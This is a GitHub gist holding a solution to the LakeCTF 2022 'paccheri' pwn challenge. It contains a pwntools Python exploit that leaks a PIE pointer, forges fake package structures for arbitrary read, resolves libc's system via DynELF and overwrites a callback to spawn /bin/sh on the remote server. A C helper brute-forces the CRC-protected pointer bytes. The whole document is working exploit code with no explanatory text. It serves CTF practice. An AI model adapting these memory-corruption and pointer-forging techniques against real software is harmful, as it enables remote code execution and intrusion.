Skip to content

Instantly share code, notes, and snippets.

@YiChenChai
Created November 8, 2022 19:48
Show Gist options
  • Save YiChenChai/30d14ab786721759f5b448a595faea18 to your computer and use it in GitHub Desktop.
Save YiChenChai/30d14ab786721759f5b448a595faea18 to your computer and use it in GitHub Desktop.
LakeCTF 2022 paccheri solution
from pwn import *
# context.log_level = 'debug'
def add_pkg(dest):
proc.sendlineafter('too long', '1')
proc.sendlineafter('address:', dest)
def remove_pkg(idx):
proc.sendlineafter('too long', '2')
proc.sendlineafter('address:', str(idx))
def edit_pkg(idx, addr):
proc.sendlineafter('too long', '4')
proc.sendlineafter('edit?', str(idx))
proc.sendafter('address:', addr)
proc.recvuntil('callback: ')
try:
ptr = int(proc.recvuntil('\n')[:-1], 16)
except:
ptr = 0
return ptr
def view_pkg():
proc.sendlineafter('too long', '3')
def leak(addr):
edit_pkg(-11, p64(addr) + p64(0) * 2) # fake package with arbitrary read of printf GOT
view_pkg()
proc.recvuntil('Address: ')
res = proc.recvuntil('id: ')[:-4]
return '\x00' if res == '' else res
proc = remote('chall.polygl0ts.ch', 3700)
add_pkg('dest')
ptr = edit_pkg(0, 'A' * 24) # leak pointer to PIE
piebase = ptr - 0xedc
printf = piebase + 0x12f78
libcleak = u64(leak(printf).ljust(8, '\x00'))
writeable = piebase + 0x13080
dyn = DynELF(leak, libcleak)
system = dyn.lookup('system', 'libc')
log.info('System @ 0x%x' % system)
log.info('Writeable @ 0x%x' % writeable)
# pause()
# context.log_level = 'debug'
edit_pkg(-11, p64(writeable) + p32(0) + p32(1) + p64(system)) # fake package with system as callback
edit_pkg(0, '/bin/sh;#'.ljust(24, 'A'))
edit_pkg(-11, p64(writeable) + p32(0) + p32(1) + p64(system)) # fake package with system as callback
view_pkg()
proc.recvuntil('state: ')
thehash = int(proc.recvuntil('\n')[:-1], 16)
header = int(subprocess.check_output(['./hash', hex(thehash)]), 16) # brute force the encrypted two bytes for callback
log.info('New encrypted pointer @ 0x%x' % (header << 48 | system))
edit_pkg(-11, p64(writeable) + p32(0) + p32(1) + p64(header << 48 | system)) # combine two bytes with callback
proc.sendlineafter('too long', '5')
proc.sendlineafter('check?', '0')
proc.interactive()
#include <stdio.h>
#include <stdlib.h>
#define __int64 long long
#define __int8 char
__int64 wtf_D0C(int a1, unsigned long long int a2)
{
// a2 = strtoull(argv[1], &useless, 16);
// printf("%llx\n", a2);
unsigned int v3; // [xsp+Ch] [xbp-24h]
int v4; // [xsp+1Ch] [xbp-14h]
int j; // [xsp+20h] [xbp-10h]
int i; // [xsp+24h] [xbp-Ch]
v3 = ~a1;
v4 = 0;
for ( i = 0; i <= 7; ++i )
{
v3 ^= (__int64)((255 << (8 * i)) & a2) >> (8 * (unsigned __int8)i);
for ( j = 7; j >= 0; --j )
v3 = (v3 >> 1) ^ -(v3 & 1) & 0xEDB88320;
++v4;
}
return ~v3;
}
int main(int argc, char *argv[]) {
char *useless;
// unsigned long long int inp = strtoull(argv[1], &useless, 16);
unsigned long long int output = strtoull(argv[1], &useless, 16);
// printf("%llu\n", a);
for (unsigned __int64 i = 0; i < 256; i++) {
for (unsigned __int64 j = 0; j < 256; j++) {
if (wtf_D0C(0, i << 56 | j << 48) == output) { printf("%hhx%hhx", i, j); break; }
}
}
// printf("%x", wtf_D0C(0, a));
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment